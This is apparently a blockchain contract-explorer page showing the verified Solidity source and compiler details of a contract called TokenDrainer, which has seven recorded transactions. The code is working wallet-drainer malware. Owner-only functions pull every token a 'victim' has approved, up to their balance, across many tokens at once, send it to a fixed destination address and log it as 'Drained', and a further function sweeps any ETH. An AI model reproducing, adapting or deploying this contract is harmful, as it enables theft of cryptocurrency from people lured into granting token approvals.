Verified contractExactMIT
TokenDrainer
Address0x9754853ffaf2f46066012cd7d5ce7170a148a824
- Balance
0 ETH
- Transactions
7
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,429,645
- Creation transaction
- 0x819c1a729f…3d6ba6d9b6
TokenDrainer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function transferFrom(address, address, uint256) external returns (bool);
function allowance(address, address) external view returns (uint256);
}
contract TokenDrainer {
address public owner;
address public destination;
event Drained(address indexed token, address indexed victim, uint256 amount);
constructor(address _destination) {
owner = msg.sender;
destination = _destination;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function drain(address token, address victim) external onlyOwner {
IERC20 t = IERC20(token);
uint256 allowance_ = t.allowance(victim, address(this));
uint256 balance = t.balanceOf(victim);
uint256 amount = allowance_ < balance ? allowance_ : balance;
require(amount > 0, "nothing");
require(t.transferFrom(victim, destination, amount), "transfer failed");
emit Drained(token, victim, amount);
}
function drainBatch(address[] calldata tokens, address victim) external onlyOwner {
for (uint i = 0; i < tokens.length; i++) {
try this.drain(tokens[i], victim) {} catch {}
}
}
function withdrawNative() external onlyOwner {
payable(destination).transfer(address(this).balance);
}
receive() external payable {}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.